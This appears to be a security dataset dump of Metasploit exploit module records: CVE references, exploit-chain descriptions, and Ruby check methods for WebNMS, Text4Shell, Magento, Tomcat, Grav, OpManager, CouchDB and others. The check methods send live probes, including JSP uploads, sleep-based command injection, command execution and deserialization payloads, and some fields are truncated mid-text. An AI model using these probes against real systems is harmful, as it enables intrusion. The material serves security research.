deardaniel/secdata-raw huggingface dataset:
Metasploit Module: WebNMS Framework Server Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/webnms_file_upload.rb
Platform: %w(linux win)
Disclosure date: 2016-07-04
References: CVE-2016-6600, URL-https://blogs.securiteam.com/index.php/archives/2712, URL-https://seclists.org/fulldisclosure/2016/Aug/54
Targets: WebNMS Framework Server 5.2 / 5.2 SP1 - Linux, WebNMS Framework Server 5.2 / 5.2 SP1 - Windows

Description:
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
          unauthenticated user to upload text files by using a directory traversal attack
          on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
          executes a malicious payload, achieving code execution under the user which the
          WebNMS server is running.
          This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
          Windows and Linux.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
      'method' => 'GET'
    )
    if res && res.code == 405
      return Exploit::CheckCode::Detected('The target service was detected')
    else
      return Exploit::CheckCode::Unknown('Received an unexpected response from the target')
    end
  end
Metasploit Module: Apache Commons Text RCE
Type: exploit
Path: modules/exploits/multi/http/apache_commons_text4shell.rb
Platform: java
Disclosure date: 2022-10-13
References: CVE-2022-42889, URL-https://sysdig.com/blog/cve-2022-42889-text4shell/, URL-https://github.com/karthikuj/cve-2022-42889-text4shell-docker
Targets: Java (in-memory), Windows EXE Dropper, Windows Command, Unix Command, Linux Dropper

Description:
This exploit takes advantage of the StringSubstitutor interpolator class,
          which is included in the Commons Text library. A default interpolator
          allows for string lookups that can lead to Remote Code Execution. This
          is due to a logic flaw that makes the "script", "dns" and "url" lookup
          keys interpolated by default, as opposed to what it should be, according
          to the documentation of the StringLookupFactory class. Those keys allow
          an attacker to execute arbitrary code via lookups primarily using the
          "script" key.

          In order to exploit the vulnerabilities, the following requirements must
          be met:

          Run a version of Apache Commons Text from version 1.5 to 1.9
          Use the StringSubstitutor interpolator
          Target should run JDK < 15

Check method (fingerprinting):
vprint_status("Checking if #{peer} can be exploited.")
    res = send_exp
    return CheckCode::Unknown('No response received from target.') unless res

    # blind command injection using sleep command
    sleep_time = rand(4..8)
    vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
    _res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
    end
    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time

    CheckCode::Vulnerable('Successfully tested command injection.')
  end
Metasploit Module: Magento SessionReaper
Type: exploit
Path: modules/exploits/multi/http/magento_sessionreaper.rb
Platform: php
Disclosure date: 2025-10-22
References: CVE-2025-54236, URL-https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/, URL-https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits CVE-2025-54236 (SessionReaper), a critical vulnerability in
          Magento/Adobe Commerce that allows unauthenticated remote code execution.

          The vulnerability stems from improper handling of nested deserialization in the
          payment method context, combined with an unauthenticated file upload endpoint.

          The exploit chain consists of three steps:
          1. Upload a malicious PHP session file containing a Guzzle/FW1 deserialization
          payload via the unauthenticated /customer/address_file/upload endpoint
          2. Trigger deserialization by sending a crafted JSON payload to the REST API
          endpoint /rest/default/V1/guest-carts/{cart_id

Check method (fingerprinting):
random_path = Array.new(3) { Rex::Text.rand_text_alphanumeric(4..8) }.join('/')
    cart_id = Rex::Text.rand_text_alphanumeric(4..8)
    res = send_request_cgi({
      'uri' => normalize_uri(
        target_uri.path, 'rest', 'default', 'V1', 'guest-carts', cart_id, 'order'
      ),
      'method' => 'PUT',
      'ctype' => 'application/json',
      'headers' => { 'Accept' => 'application/json' },
      'data' => build_deserialization_payload(random_path)
    })

    return CheckCode::Unknown('No response from target') unless res

    case res.code
    when 400
      return CheckCode::Safe('Target is patched (returns 400 Bad Request)')
    when 404
      return CheckCode::Appears('Target returned 404 with expected error pattern') if check_404_response(res.body)
    when 500
      return CheckCode::Appears('Target returned 500 error with SessionHandler') if check_500_response(res.body)
    end

    CheckCode::Unknown("Unexpected HTTP status: #{res.code}")
  end
Metasploit Module: Tomcat RCE via JSP Upload Bypass
Type: exploit
Path: modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb
Platform: %w[linux win
Disclosure date: 2017-10-03
Authors: peewpw
References: CVE-2017-12617, URL-https://bz.apache.org/bugzilla/show_bug.cgi?id=61542, EDB-42966
Targets: Automatic, Java Windows, Java Linux

Description:
This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.

Check method (fingerprinting):
testurl = Rex::Text.rand_text_alpha(10)
    testcontent = Rex::Text.rand_text_alpha(10)

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
      'method' => 'PUT',
      'data' => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
      'method' => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
        'method' => 'DELETE'
      )
      return Exploit::CheckCode::Vulnerable('Successfully verified JSP upload bypass vulnerability')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Spreecommerce 0.60.1 Arbitrary Command Execution
Type: exploit
Path: modules/exploits/multi/http/spree_search_exec.rb
Platform: %w{linux unix}
Disclosure date: 2011-10-05
References: CVE-2011-10019, OSVDB-76011, URL-http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/

Description:
This module exploits an arbitrary command execution vulnerability in the
          Spreecommerce search. Unvalidated input is called via the
          Ruby send method allowing command execution.
Metasploit Module: Grav CMS Admin Direct Install Authenticated Plugin Upload RCE
Type: exploit
Path: modules/exploits/multi/http/grav_admin_direct_install_rce_cve_2025_50286.rb
Platform: php
Disclosure date: 2025-08-07
References: CVE-2025-50286, EDB-52402, URL-https://github.com/getgrav/grav
Targets: PHP Payload

Description:
Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is
          vulnerable to authenticated remote code execution via the
          "Direct Install" feature in the administrative interface.

          An authenticated administrator can upload a crafted plugin
          archive containing arbitrary PHP code. The uploaded plugin
          is written to disk and executed by the application, allowing
          command execution in the context of the web server user.

          This module authenticates to the admin panel, uploads a
          malicious plugin via /admin/tools/direct-install, and
          triggers execution of the embedded payload.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200

    html = res.get_html_document
    return CheckCode::Unknown('Could not parse HTML') unless html

    return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
    return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)

    cms_version, admin_version = get_version_after_login
    return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version
    return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version

    version = Rex::Version.new(cms_version)
    if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0')
      vuln = true
    end

    if admin_version
      plugin_version = Rex::Version.new(admin_version)
      if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln
        return CheckCode::Appears("\n    - Grav CMS #{version} is vulnerable\n    - Admin Plugin v#{plugin_version} is vulnerable")
      end
    end

    return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln

    CheckCode::Safe(
Metasploit Module: Metasploit Web UI Diagnostic Console Command Execution
Type: exploit
Path: modules/exploits/multi/http/metasploit_webui_console_command_execution.rb
Disclosure date: 2016-08-23

Description:
This module exploits the "diagnostic console" feature in the Metasploit
          Web UI to obtain a reverse shell.

          The diagnostic console is able to be enabled or disabled by an
          administrator on Metasploit Pro and by an authenticated user on
          Metasploit Express and Metasploit Community. When enabled, the
          diagnostic console provides access to msfconsole via the web interface.
          An authenticated user can then use the console to execute shell
          commands.

          NOTE: Valid credentials are required for this module.

          Tested against:

          Metasploit Community 4.1.0,
          Metasploit Community 4.8.2,
          Metasploit Community 4.12.0
Metasploit Module: ManageEngine OpManager SumPDU Java Deserialization
Type: exploit
Path: modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
Platform: win
Disclosure date: 2021-07-26
References: CVE-2020-28653, CVE-2021-3287, URL-https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/
Targets: Windows Command, Windows Dropper, Windows PowerShell, Unix Command, Linux Dropper, Python

Description:
An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to
          deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS
          commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This
          vulnerability is also present in other products that are built on top of the OpManager application. This
          vulnerability affects OpManager versions 12.1 - 12.5.328.

          Automatic CVE selection only works for newer targets when the build number is present in the logon page. Due
          to issues with the serialized payload this module is incompatible with versions prior to 12.3.238 despite them
          technically being vulnerable.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
      'data' => build_java_serialized_int(1002)
    })
    return Exploit::CheckCode::Unknown('No response received from the target') unless res
    # the patched version will respond back with 200 OK and no data in the response body
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version') unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)

    Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
  end
Metasploit Module: Apache Couchdb Erlang RCE
Type: exploit
Path: modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
Platform: unix
Disclosure date: 2022-01-21
References: EDB-49418, URL-https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit, CVE-2022-24706
Targets: Unix Command, Linux Dropper, Windows Command, Windows Dropper, PowerShell Stager

Description:
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
          authenticating and gain admin privileges.

Check method (fingerprinting):
erlang_ports = get_erlang_ports
    # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
    return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?

    erlang_ports.each do |erlang_port|
      # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
      # successful and the target as well as the specific socket used in this instance is vulnerable
      sock = connect_to_erlang_server(erlang_port.to_i)
      if sock.instance_of?(Socket)
        @vulnerable_socket = sock
        return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
      else
        next
      end
    end
    Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
  end

  # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
  #
  # @return [Array] An array of port numbers for discovered Erlang Servers.
Metasploit Module: Apache 2.4.49/2.4.50 Traversal RCE
Type: exploit
Path: modules/exploits/multi/http/apache_normalize_path_rce.rb
Platform: linux
Disclosure date: 2021-05-10
References: CVE-2021-41773, CVE-2021-42013, URL-https://httpd.apache.org/security/vulnerabilities_24.html, URL-https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse, URL-https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml, URL-https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74, URL-https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis
Targets: Automatic (Dropper), Unix Command (In-Memory)

Description:
This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
          If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled,
          it can be used to execute arbitrary commands (Remote Command Execution).
          This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
Metasploit Module: Agent Tesla Panel Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/agent_tesla_panel_rce.rb
Platform: php
Disclosure date: 2019-08-14
References: EDB-47256, URL-https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources, URL-https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel), URL-https://krebsonsecurity.com/2018/10/who-is-agent-tesla/
Targets: Automatic (PHP-Dropper)

Description:
This module exploits a command injection vulnerability within the Agent Tesla control panel,
          in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain
          remote code execution on affected hosts.

          Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
          gain remote code execution as user running the web server. Agent Tesla panels released on or after
          this date can still be exploited however, provided that attackers have valid credentials for the
          Agent Tesla control panel.

          Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
          Support for Linux may be added in a future update, but could not be confirmed during testing.

Check method (fingerprinting):
# check for login credentials couple.
    if datastore['USERNAME'] && datastore['PASSWORD'].nil?
      fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
    end

    if datastore['PASSWORD'] && datastore['USERNAME'].nil?
      fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
    end

    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
    )

    if response
      if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])
        print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
        return Exploit::CheckCode::Unknown('Target requires authentication; unauthenticated exploitation is not possible without valid CnC credentials')
      end

      rand_str = Rex::Text.rand_text_alpha(8..16)
      cmd_output = parse_response(execute_command("echo #{rand_str}"))

      return Exploit::CheckCode::Vulnerable('Successfully executed a command on the target') if cmd_output.include?(rand_str)
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress AIT CSV Import Export Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wp_ait_csv_rce.rb
Disclosure date: 2020-11-14
References: CVE-2020-36849, URL-https://www.ait-themes.club/wordpress-plugins/csv-import-export/#changelog-popup

Description:
The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and
          execute arbitrary PHP code.  The upload-handler does not require authentication, nor validates
          the uploaded content.  It may return an error when attempting to parse a CSV, however the
          uploaded shell is left.  The shell is uploaded to wp-content/uploads/.  The plugin is not
          required to be activated to be exploitable.

Check method (fingerprinting):
return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    # no readme file, just a changelog so we need the version from there
    changelog = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'ait-csv-import-export', 'changelog.txt')
    check_version_from_custom_file(changelog, /^v(\d\.\d\.\d),/, '3.0.4')
  end
Metasploit Module: Zemra Botnet CnC Web Panel Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/zemra_panel_rce.rb
Platform: unix
Disclosure date: 2012-06-28
References: URL-http://0day.today/exploit/19259, URL-https://web.archive.org/web/[PII_REDACTED]4942/http://insecurety.net/?p=144, URL-http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot

Description:
This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
          inside its leaked source code. Zemra is a crimeware bot that can be used to
          conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.

Check method (fingerprinting):
txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command(txt)
    if res && res.body =~ /cmd/
      return Exploit::CheckCode::Vulnerable('Successfully verified remote command execution vulnerability')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Adobe ColdFusion RDS Authentication Bypass
Type: exploit
Path: modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
Platform: win
Disclosure date: 2013-08-08
References: CVE-2013-0632, EDB-27755, URL-http://www.adobe.com/support/security/bulletins/apsb13-03.html
Targets: Windows, Linux

Description:
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
          attackers to bypass authentication using the RDS component. Due to
          default settings or misconfiguration, its password can be set to an
          empty value. This allows an attacker to create a session via the RDS
          login that can be carried over to the admin web interface even though
          the passwords might be different, and therefore bypassing authentication
          on the admin web interface leading to arbitrary code execution. Tested
          on Windows and Linux with ColdFusion 9.

Check method (fingerprinting):
uri = target_uri.path

    # can we access the admin interface?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm')
    })

    if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')
      vprint_good 'Administrator access available'
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # is it cf9?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
    })

    img = Rex::Text.md5(res.body.to_s)
    imghash = '596b3fc4f1a0b818979db1cf94a82220'

    if img == imghash
      vprint_good 'ColdFusion 9 Detected'
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # can we access the RDS component?
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
      'vars_post' => {
        'method' => 'login',
        'adminpassword' => '',
        'rdsPasswordAllowed' => '1'
      }
    })

    if res && res.code == 200 && res.body.include?('true')
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Th3 MMA mma.php Backdoor Arbitrary File Upload
Type: exploit
Path: modules/exploits/multi/http/mma_backdoor_upload.rb
Platform: php
Disclosure date: 2012-04-02
References: URL-http://blog.pages.kr/1307

Description:
This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that
          leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or
          operating system version because of the php_uname() function.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    if res
      n = ::Nokogiri::HTML(res.body)
      form = n.at('form[@id="uploader"]')
      inputs = form.search('input')
      if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl')
        return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
      end
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end